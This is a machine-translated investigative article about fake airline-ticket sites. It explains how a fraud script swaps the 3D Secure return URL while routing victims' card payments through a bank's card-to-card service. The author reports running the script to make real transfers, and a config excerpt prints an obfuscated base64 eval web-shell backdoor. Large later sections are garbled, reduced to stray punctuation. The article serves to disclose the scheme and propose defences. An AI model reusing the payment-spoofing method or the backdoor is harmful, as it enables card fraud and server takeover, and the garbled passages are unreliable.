<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Singkatnya, dalam kode HTML halaman 3D Secure (dalam contoh ini, dari Sberbank) baris:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Secara pemrograman berubah menjadi:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

String pengganti adalah alamat halaman tempat kartu bank pengirim, setelah memeriksa kode 3D Secure, harus mengembalikan pengguna. Sebelum skrip menggantikan baris, situs web Promsvyazbank ditetapkan sebagai alamat pengirim. Setelah skrip mengganti baris, beberapa halaman di situs penipuan sudah ditunjukkan sebagai alamat pengirim.

Saya tidak sepenuhnya mengerti pada titik apa alamat pengirim diganti, tetapi berfungsi. Pada saat itu, ketika browser menampilkan halaman https Sberbank dengan permintaan untuk memasukkan kode 3D Secure, jika Anda melihat kode HTML sumber halaman di browser, tidak ada alamat pengirim ke situs mana pun. Kode HTML halaman ini memiliki panjang lebih dari 400 baris dan benar-benar berbeda dari kode HTML halaman respons Sberbank yang disajikan di atas, yang ditangkap dengan menulis variabel $ page (baris 166) dan $ pp (line 174) ke disk.

Jika Anda memasukkan kode 3D Secure yang salah, Sberbank pada halamannya menampilkan pesan bahwa kode tersebut salah, dan mengirim SMS lain. Segera setelah kode yang benar dimasukkan, maka akan diarahkan ke situs pembayaran atau ke situs pengganti. Artinya, mungkin, pengalihan ke situs pembayaran itu sendiri menyiratkan bahwa dari Sberbank semua prosedur yang diperlukan telah selesai. Sberbank di sini berfungsi sebagai contoh untuk pengujian. Transfer juga dapat dilakukan melalui bank lain.



Dari sisi "pembeli tiket" itu terlihat seperti ini. Pembeli pada bentuk pembayaran yang telah disiapkan memasuki nomor kartunya. Setelah itu, halaman konfirmasi kode 3D Aman segera ditampilkan dan SMS dengan kode konfirmasi tiba. Halaman 3D Secure di browser ditampilkan di situs web bank penerbit kartu pembeli menggunakan protokol HTTPS. Halaman dengan formulir untuk memasukkan nomor kartu mungkin terlihat mencurigakan, tetapi konfirmasi 3D Secure di situs web bank Anda tidak menyebabkan keraguan atau kecurigaan.

Omong-omong, perhatikan tanda tangan “pembayaran tiket” di baris “Keterangan” pada halaman 3D Secure dari Sberbank. Tanda tangan ini diatur dalam skrip payp2p.php. Dalam contoh di masa mendatang, kami akan mencoba mengubahnya.

Mari kita kembali ke pengujian.

Saya memasukkan kode dari SMS pada halaman Sberbank dan setelah mengklik tombol "Kirim", saya menerima peringatan bahwa data akan dikirim melalui koneksi yang tidak aman.



Setelah saya mengkonfirmasi bahwa saya setuju dengan pengiriman data melalui koneksi yang tidak aman, saya dialihkan ke



halaman /sus.php?cd=… .Ini adalah halaman kembali. Alamat pengembalian diatur dalam skrip. Dalam hal ini, halaman tidak ditemukan. Tetapi alasannya jelas - halaman kembali tidak dipersiapkan sebelumnya.

Meskipun tujuannya hampir tercapai, uang dari kartu ke kartu benar-benar tidak lulus . Tidak ada sms tambahan dengan informasi bahwa pembayaran ditolak, dll.

Saya memutuskan bahwa alasan kegagalan dalam upaya pertama adalah bahwa situs lokal (localhost) bekerja pada koneksi http tidak aman, dan situs Sberbank pada protokol http aman. Http dan https tidak saling bersahabat satu sama lain. Ngomong-ngomong, ini menjelaskan mengapa situs curang yang dijelaskan di bagian pertama publikasi menggunakan koneksi https aman, meskipun dengan sertifikat paling sederhana.

Untuk memverifikasi asumsi ini, saya harus mengkonfigurasi protokol https di situs lokal. Untuk melakukan ini, domain p2p.localhost lokal dan sertifikat yang ditandatangani sendiri dibuat. Akibatnya, alamat baru dengan skrip uji mulai terlihat seperti ini: Selain

https://p2p.localhost/payp2p.php

itu, alamat halaman tempat pengembalian harus dilakukan setelah memasukkan kode 3D Secure diubah dalam skrip. Halaman kembali itu sendiri juga sudah disiapkan sebelumnya.

Kami mencoba lagi untuk melakukan pembayaran dengan situs lokal yang berfungsi melalui protokol https.

Ketika Anda terhubung untuk pertama kalinya, browser secara alami bersumpah pada koneksi aman yang tidak dikonfigurasi dengan benar. Ini karena fakta bahwa kami memiliki sertifikat yang ditandatangani sendiri.



Karena sumber sertifikat diketahui, kami menambahkannya ke pengecualian.



Itu saja. Sekarang koneksi dibuat melalui https dan ketika beralih dari situs web Sberbank, peringatan itu hilang.



Setelah memasukkan kode 3D Secure, pengembalian ke halaman yang disiapkan secara khusus dilakukan dengan benar.



Semuanya berfungsi dengan baik kecuali bahwa uang tidak benar-benar berfungsi . Akibatnya, saya harus menguji dan mencari selama beberapa hari, apa alasannya.

Saya hanya memiliki sebagian file yang digunakan di salah satu situs tiket pesawat palsu. Di antara file yang dikirim kepada saya, ada file payment.php. Ini mirip dengan skrip yang diuraikan di atas. Dilihat oleh kode, itu mungkin dibuat bukan untuk menipu pengunjung di "situs pertempuran", tetapi untuk pengujian oleh programmer-pengembang kemungkinan mentransfer dari satu kartu ke kartu lain melalui layanan 3ds.payment.ru. Itu tidak mungkin, tetapi secara teoritis dalam versi awal situs penipuan, itu dapat digunakan tidak hanya untuk pengujian.

Saya mencoba melakukan pembayaran menggunakan skrip payment.php alternatif dan pembayaran berlalu pertama kali.Satu-satunya konfirmasi pembayaran yang berhasil ditampilkan di situs web 3ds.payment.ru. Saya memutuskan bahwa karena skrip ini berfungsi, dimungkinkan untuk menemukan alasan mengapa skrip pertama dalam uraian (payp2p.php) tidak berfungsi.



Kode skrip penuh payment.php di bawah spoiler

.

Deskripsi perbedaan antara skrip payment.php dan payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

Kemudian ada upaya untuk memperbaiki skrip payp2p.php yang tidak berfungsi karena suatu alasan, untuk memperbaikinya, mengambil skrip yang berfungsi sebagai dasar. Berbagai opsi telah dicoba. Semua bagian kode yang entah bagaimana dapat memengaruhi pekerjaan pada gilirannya ditransfer dari script yang bekerja ke yang tidak bekerja. Antara lain, ada upaya untuk koneksi menengah tambahan ke https://3ds.payment.ru/cgi-bin/is_3DS; mengubah, menyalakan dan mematikan opsi CURL, dll. Tidak ada yang membantu, bunga batu tidak keluar.

Kemudian, selama pengujian, diputuskan untuk mematikan pengalihan pada tahap akhir di payp2p.php. Setelah itu, menjadi mungkin untuk membaca pesan kesalahan dari Promsvyazbank. Cuplikan layar kesalahan di bawah ini. Di browser setelah upaya gagal melakukan pembayaran, halaman lain ditampilkan, tetapi jika Anda mengklik "Kembali" satu kali atau lebih, Anda dapat melihat halaman ini.


:

, .

: / (/)
, , /

Ada beberapa batasan jumlah pembayaran dari satu kartu per hari di situs web Promsvyazyazbank, dll. Meskipun saya tidak melampaui batas jumlah pembayaran nyata, ada kemungkinan bahwa pembayaran tidak melalui tahap tertentu karena banyaknya upaya saya. (Untuk menangkap nilai variabel selama debugging, saya memulai proses pembayaran berkali-kali, tetapi tidak menyelesaikannya) Saya tidak tahu alasan pasti untuk pesan ini. Setiap upaya untuk membayar ORDER_NUM dan TIMESTAMP menggunakan yang baru. Mereka seharusnya tidak memengaruhi tampilan kesalahan semacam itu. Meskipun kartu yang saya gunakan untuk pembayaran, satu pembayaran yang berhasil melewati skrip payment.php alternatif, mungkin kartu dari pengirim atau penerima masuk ke dalam stoplist.

Skrip payp2p.php sudah sedikit seperti keadaan aslinya. Saya sendiri mulai bingung apa yang saya ganti di dalamnya dan apa yang tidak. Oleh karena itu, saya mengembalikannya ke bentuk aslinya, kecuali bahwa pada baris terakhir pengalihan pengalihan ke halaman pembayaran yang berhasil dinonaktifkan. Nomor kartu pengirim dan penerima untuk upaya selanjutnya digunakan baru.

Akhirnya, dengan bantuan payp2p.php ternyata membuat pembayaran berhasil.



Perhatikan tanda tangan di baris "Deskripsi".

Setelah memasukkan kode konfirmasi 3D Secure, pengembalian dilakukan ke halaman Promsvyazbak:



Menerima SMS. Di sebelah kiri bank pengirim. Di sebelah kanan bank penerima.



Sberbank, untuk beberapa alasan, ditunjukkan dalam waktu SMS GMT. Sebelumnya, saya tidak melihat ini di pesan dari bank ini.

Dengan substitusi halaman kembali dinonaktifkan, ulangi pembayaran yang berhasil menggunakan skrip payp2.php ternyata berkali-kali.

Saya mencoba membayar dari kartu lain. Setiap bank mengeluarkan formulir 3D Secure-nya. Tetapi ini tidak mengubah esensi.





Harap dicatat bahwa tidak semua bank memasukkan "deskripsi tambahan" dalam formulir konfirmasi mereka. Dalam contoh kita, “pembayaran tiket”.

Tidak perlu beradaptasi dengan halaman masing-masing bank. Meskipun bentuknya berbeda, mekanisme substitusi untuk mereka adalah sama. Setiap bentuk setelah pembayaran berisi tautan dengan alamat halaman yang ingin Anda kembalikan. Bank sendiri, yang menyediakan formulir verifikasi 3D Secure, kemungkinan besar tidak akan dikembalikan ke "situs kiri". Tentunya, ada beberapa aturan dan bank dari formulir verifikasi 3DS setidaknya harus kembali ke domain yang sama dari mana permintaan pembayaran diterima. (Dalam kasus kami, di 3ds.payment.ru). Bank memverifikasi kode 3D Secure, seandainya kata sandi dimasukkan dengan benar, dalam kode html halaman menunjukkan alamat yang perlu dikembalikan, tetapi tidak dapat lagi mengontrol apakah akan kembali ke halaman ini.

Sebagai hasil dari semua percobaan, dimungkinkan untuk mendapatkan skrip payp2p.php untuk membayar melalui layanan transfer dari kartu ke kartu Promsvyazbank 3ds.payment.ru. Pada saat yang sama, saya harus menonaktifkan penggantian alamat pengirim pada baris terakhir dari skrip. Ketika Anda menghidupkan spoofing dari alamat halaman kembali, seperti yang ada di skrip asli, pada saat ini uang benar-benar tidak lulus. Halaman verifikasi 3D Secure ditampilkan; SMS dengan "kata sandi" dikirim; formulir verifikasi tidak melompat ke langkah berikutnya ketika memasukkan kata sandi yang salah; setelah memasukkan "kata sandi" yang benar, dialihkan ke halaman palsu, tetapi uangnya tidak lulus.

Pemalsuan alamat halaman kembali untuk pembayaran yang berhasil adalah bagian yang sangat penting untuk situs penipuan. Jika "pembeli tiket" tidak curiga bahwa ia telah ditipu, maka ia dapat membayar tidak hanya satu, tetapi beberapa pembelian tiket dan setelah itu untuk waktu yang lama (berhari-hari dan berminggu-minggu) tidak mengambil tindakan aktif untuk membatalkan pembayaran, dll. Jika pembeli setelah "membayar tiket pesawat" menerima konfirmasi transfer dari kartu ke kartu, maka kemungkinan besar ia tidak akan lagi melakukan pembayaran berikut, ia akan menghubungi banknya dan, mungkin, polisi lebih cepat. Ini berarti bahwa arus kas di situs-situs penipuan berkurang, kemungkinan pembatalan pembayaran di masa lalu meningkat, lembaga penegak hukum dan pekerja hosting mulai bertindak lebih awal, dan kemungkinan tidak memiliki waktu untuk menarik dana curian ke tempat yang aman meningkat.

Fakta bahwa skrip ini digunakan pada situs penipuan perang, saya tidak ragu. Saya punya alasan untuk percaya bahwa itu bekerja dalam bentuk yang disediakan untuk saya. Saat ini berfungsi terbatas (tidak ada pengalihan).

Sekitar tiga minggu setelah bagian pertama dari publikasi diterbitkan, yang menyebutkan penipu menggunakan layanan transfer kartu ke kartu Promsvyazbank, bank ini membuat beberapa perubahan pada layanannya, yang saya anggap penting. Sebelumnya, ketika membayar melalui situs web Promsvyazbank, pembayar menerima SMS yang tidak dapat dipahami dengan teks "P2P PSBANK", tetapi sekarang mereka mulai menerima SMS dengan teks "CARD2CARD PSBANK.RU". Sekalipun demikian, sekilas, sedikit perubahan dalam dekripsi tujuan pembayaran sudah cukup bagi beberapa calon korban penipuan untuk membatalkan pembayaran pada tahap konfirmasi. Saya pikir ini bukan kebetulan, dan perubahan dibuat justru sebagai hasil dari publikasi artikel di GeekTimes.

Sangat mungkin bahwa setelah publikasi bagian pertama artikel, bersama dengan mengubah teks konfirmasi dalam SMS, penyesuaian tambahan dapat dilakukan untuk algoritma layanan transfer dari kartu ke kartu Promsvyazbank. Saya tidak bisa mengatakan 100%, tetapi pendapat saya adalah bahwa sebelum layanan Promsvyazbank 3ds.payment.ru dengan probabilitas tinggi tidak memeriksa pengembalian pengguna ke situs mereka setelah berhasil memasukkan kode 3D Secure di situs bank yang mengeluarkan pembayar kartu. Oleh karena itu, pembayaran dilakukan bahkan ketika skrip penipuan mengubah halaman kembali.

Bank, yang disebutkan berkali-kali dalam publikasi ini, beruntung dengan iklan gratis. Saya pikir pada kenyataannya masih ada cukup banyak bank seperti itu. Hanya saja ini lebih beruntung karena dipilih pertama kali untuk digunakan di situs penipuan, dan kemudian untuk analisis dalam artikel ini. Seperti yang mereka katakan, tidak ada pasien yang sehat, ada pasien yang tidak diperiksa dengan baik.

Saat menulis artikel ini, tugas membuat skrip penipuan perang tidak sepadan. Tugasnya adalah mencoba memahami cara kerjanya atau bekerja untuk memahami alasan mengapa "pembeli tiket pesawat" dapat ditipu, dan menarik kesimpulan dari hal ini.

Artikel ini menimbulkan banyak pertanyaan, tetapi tidak memberikan semua jawaban. Saya yakin di antara pembaca akan ada cukup banyak pengguna tingkat lanjut yang dapat lebih akurat mengomentari gambaran klinis dan membuat diagnosis. Untuk bagian saya, saya mencoba menyajikan kesaksian

selengkap mungkin ... Bagian dari publikasi dengan analisis skrip pembayaran selesai. Bonus lebih lanjut untuk mereka yang bisa membaca di tempat ini.


Dari mana datangnya tiket pesawat murah di situs penipuan?

Pada bagian sebelumnya dari publikasi, dengan tanda tidak langsung, ditunjukkan bahwa informasi tentang ketersediaan tempat dan harga secara terprogram diperoleh pada beberapa situs yang jujur, dimodifikasi dan dikeluarkan untuk pengguna.

Contoh informasi tentang ketersediaan dan harga di situs web palsu


Sekarang kita memiliki kesempatan untuk melihat ke belakang layar dan melihat bagaimana ini diterapkan dalam kode program.

Ini adalah tempat di kode dari situs penipuan di mana kita melihat dari mana gambar dan harga untuk penerbangan dari situs penipuan berasal.



Seperti yang diharapkan dalam rangkaian situs penipuan ini, informasi tentang tempat yang tersedia diambil di situs yang jujur www.aviacassa.ru. Karena jumlah maskapai dan penerbangan yang besar, sangat sulit untuk mengunduh semua gambar dan ikon dalam masalah seperti itu sebelumnya, tautan ke gambar-gambar tersebut dibiarkan langsung ke situs asli.

Diskon dikurangi dari harga asli yang diterima untuk tiket pesawat. Seperti yang ditunjukkan sebelumnya, pemilik situs penipuan dapat secara sewenang-wenang menetapkan jumlah diskon. Jumlah diskon disimpan dalam file aviacfg.php.

Sepotong kode yang lebih lengkap bertanggung jawab untuk memperoleh informasi tentang ketersediaan kursi, menyiapkan tautan ke gambar dan mengubah harga di bawah spoiler.

Parser harga - bagian kode yang lebih lengkap


Kami tidak akan membongkar potongan per baris ini, karena bukan kode itu sendiri yang penting, tetapi gagasan tentang bagaimana dan dari mana data sebenarnya tentang tiket pesawat untuk situs penipuan berasal.

Parser lama menggunakan situs lain untuk mendapatkan data:



Kiat untuk kantor tiket (www.aviacassa.ru)- Anda harus menutup kemungkinan tautan ke file domain dari pengarah eksternal (situs pengarah). Peluang ini dapat ditutup untuk semua orang tanpa kecuali, atau Anda dapat membuat pengecualian hanya untuk mitra tepercaya. Server web NGINX, yang menggunakan aviacassa, membuatnya mudah dilakukan. Rekomendasi yang sama untuk semua situs serupa yang dapat digunakan sebagai "donor informasi".

Jika situs penipuan tidak dapat langsung menautkan ke gambar di situs-situs seperti kantor tiket, ini akan mempersulit hidup mereka. Jumlah logo dan gambar dari berbagai maskapai tidak diketahui sebelumnya. Bahkan jika Anda mencoba mengunduh gambar di muka, Anda dapat melewati sesuatu, dan situs penipuan akan terlihat jelek. Situs-situs tersebut akan dipaksa untuk mengunduh semua gambar secara lokal ke server dengan setiap permintaan, atau setidaknya memeriksa apakah gambar seperti itu sebelumnya diunduh ke "cache" atau tidak. Ini meningkatkan beban pada server scam dan membuat rendering halaman lebih lambat. Selain itu, penutupan kemampuan untuk menautkan langsung ke gambar pada satu waktu akan membuat semua situs penipuan saat ini yang menggunakan informasi tiket kantor tidak beroperasi.

Tentu saja, seiring waktu, pengembang akan membuat tambalan. Tetapi karena situs penipuan tidak dikelola secara terpusat, dan berbagai orang tidak memiliki pembaruan perangkat lunak otomatis, setiap pemilik situs palsu harus mencari peluang untuk meningkatkan. Seseorang akan menemukan kode yang diperbarui, tetapi seseorang tidak akan menemukan dan situs tersebut akan berhenti berfungsi.

Juga, kantor tiket dapat menyertakan log terpisah untuk gambar-gambar tersebut, di mana catatan tentang semua rujukan eksternal (situs rujukan) akan disimpan. Dan dalam beberapa hari dalam log ini Anda akan mendapatkan daftar semua situs penipuan aktif. Ini sangat mudah - alih-alih mencoba menemukan masing-masing situs, Anda dapat meminta mereka untuk mendaftar secara independen dalam daftar (file log).

Dan jika ada admin lucu di kantor tiket, Anda dapat membuat lelucon ...
- NGINX , , «» , URL , . . — « » , -, , , , .

Seseorang mungkin mengatakan bahwa publikasi artikel semacam itu berfungsi sebagai alat pelatihan untuk scammers dan mengajukan pertanyaan, mengapa saya mempostingnya di sini? Saya jawab. Jika ada cara mencuri uang, berdasarkan pada penggunaan perangkat lunak yang rentan atau kurang terlindungi, yang paling tidak diketahui oleh beberapa orang dan tujuannya adalah untuk menghasilkan uang, maka upaya untuk menyembunyikan informasi tersebut dan berpura-pura tidak ada masalah hanya mengarah ke konsekuensi yang lebih buruk. Penipu menggunakan metode ini bahkan lebih aktif, sementara bank senang karena mereka secara teratur membayar komisi untuk layanan dan mencuri uang dari mereka. Mengapa bank perlu mengubah sesuatu, jika semuanya begitu baik? Dari waktu ke waktu, hanya beberapa pengguna Internet yang tertipu dan kehilangan uang di situs-situs penipuan. Tapi siapa yang peduli?

Pendapat saya adalah bahwa jika beberapa peluang "rumit" untuk mencuri uang diketahui oleh sejumlah besar orang, maka seiring waktu akan menjadi lebih sulit bagi penipu untuk menggunakannya, dan menjadi mustahil bagi organisasi yang menggunakannya untuk mengabaikan masalah.

Script payp2.php dan sejumlah file yang digunakan pada seri baru-baru ini situs penjualan maskapai yang curang dikirim kepada saya oleh pengguna badai . Saya tidak tahu di mana dia mendapatkannya - langsung semua pertanyaan tentang hal ini kepadanya secara langsung.

Tetapi saya dapat langsung mengatakan bahwa, ternyata kemudian, tidak sulit untuk menemukan serangkaian kode sumber lengkap untuk situs-situs palsu yang menjual tiket pesawat. Mencari "penerbangan palsu." Kedua mesin pencari utama menyediakan tautan di halaman pertama. Satu set kode sumber lengkap hanya berharga 25-30 ton rubel. Setelah topik ini berhenti berfungsi, kode sumber tidak berfungsi, yang menurut penjual “mudah untuk diselesaikan,” mulai menghabiskan biaya 10tr. Baru-baru ini, dilihat dari pesan di forum, versi 2.0 diduga dijual kembali dengan harga 25tr.

Di bawah ini adalah contoh spoiler penjualan gratis kode sumber situs web palsu untuk penjualan tiket pesawat di salah satu forum.

Cuplikan layar forum. (Rapi, gambar yang sangat panjang)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



Di forum, yang ditampilkan dalam tangkapan layar, kode situs web penipuan serupa, informasi kartu kredit, data paspor, informasi pribadi dari database negara secara terbuka dijual dan dibeli, diusulkan untuk membuat paspor palsu, SIM, dll. Ini hanya daftar pendek misalnya. Yaitu dengan pengecualian langka, ada kejahatan terus menerus. Pada saat yang sama, administrasi forum bertindak sebagai penjamin antara pembeli dan penjual. Ada beberapa forum seperti ini. Mereka semua bekerja dengan bebas selama bertahun-tahun. Semuanya diindeks dengan sempurna oleh mesin pencari (Yandex, Google, dll). Saya tidak mengutip alamat dari forum tertentu. Mereka sangat mudah ditemukan.

Karena di balik setiap situs web penipuan untuk penjualan tiket pesawat ada orang terpisah yang membeli kode sumber situs web dengan harga murah, dalam setiap kasus Anda dapat menemukan orang yang bertanggung jawab dan ini harus dilakukan. Tidak setiap admin dari situs palsu semacam itu adalah seorang profesional super yang jejaknya tidak dapat ditemukan. Saya yakin bahwa di antara admin seperti itu ada cukup banyak yang telah mewarisi dan, jika mereka memiliki wewenang yang sesuai, dapat dihitung. Tetapi, menurut pendapat saya, alih-alih mencoba menangani setiap situs palsu secara terpisah, Anda harus memperhatikan situs-situs tempat sumber situs palsu tersebut didistribusikan secara bebas.

Untuk memberikan pukulan telak pada situs-situs palsu yang menjual tiket pesawat palsu, Anda tidak perlu banyak. Jika setiap orang melakukan sedikit, maka ini akan sangat menyulitkan kehidupan para penipu dan dapat menimbulkan pertanyaan tentang ketidakefisienan melakukan bisnis seperti itu. Dibutuhkan sedikit perhatian dari mesin pencari - untuk mencegah situs tersebut masuk ke iklan. Tidak realistis untuk memecah situs tersebut menjadi hasil teratas tanpa iklan. Juga, mesin pencari harus mengecualikan situs yang benar-benar membeli dan menjual skema kriminal. Butuh sedikit perhatian dari bank untuk melacak layanan pembayaran mereka sehingga penipu tidak dapat dengan mudah menggunakannya. Perlu sedikit perhatian dari tuan rumah. Anda perlu sedikit perhatian dari sistem pembayaran - untuk memulainya, jangan izinkan pembayaran tanpa memeriksa 3D Secure (seperti yang ditunjukkan di bagian pertama publikasi,masih mungkin). Butuh perhatian dari penegak hukum. Alih-alih menyelidiki setiap kasus pencurian uang, lebih efisien untuk bertindak di muka - berurusan dengan sarang di mana para scammer berkomunikasi (menganalisis, misalnya, forum yang sangat bayangan itu). Dan tentu saja Anda perlu sedikit perhatian dari calon pembeli tiket pesawat sendiri.

Mereka mengatakan bahwa perbaikan tidak dapat diselesaikan, dan itu hanya dapat dihentikan. Publikasi ini adalah kasus serupa. Karena itu, walaupun lebih banyak yang dapat ditulis, saya akan berhenti di sini. Terima kasih atas perhatian anda Saya akan senang dengan komentar Anda.

PS Tentang Jackie Chan ... Anda tidak bisa membaca
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/id398313/


All Articles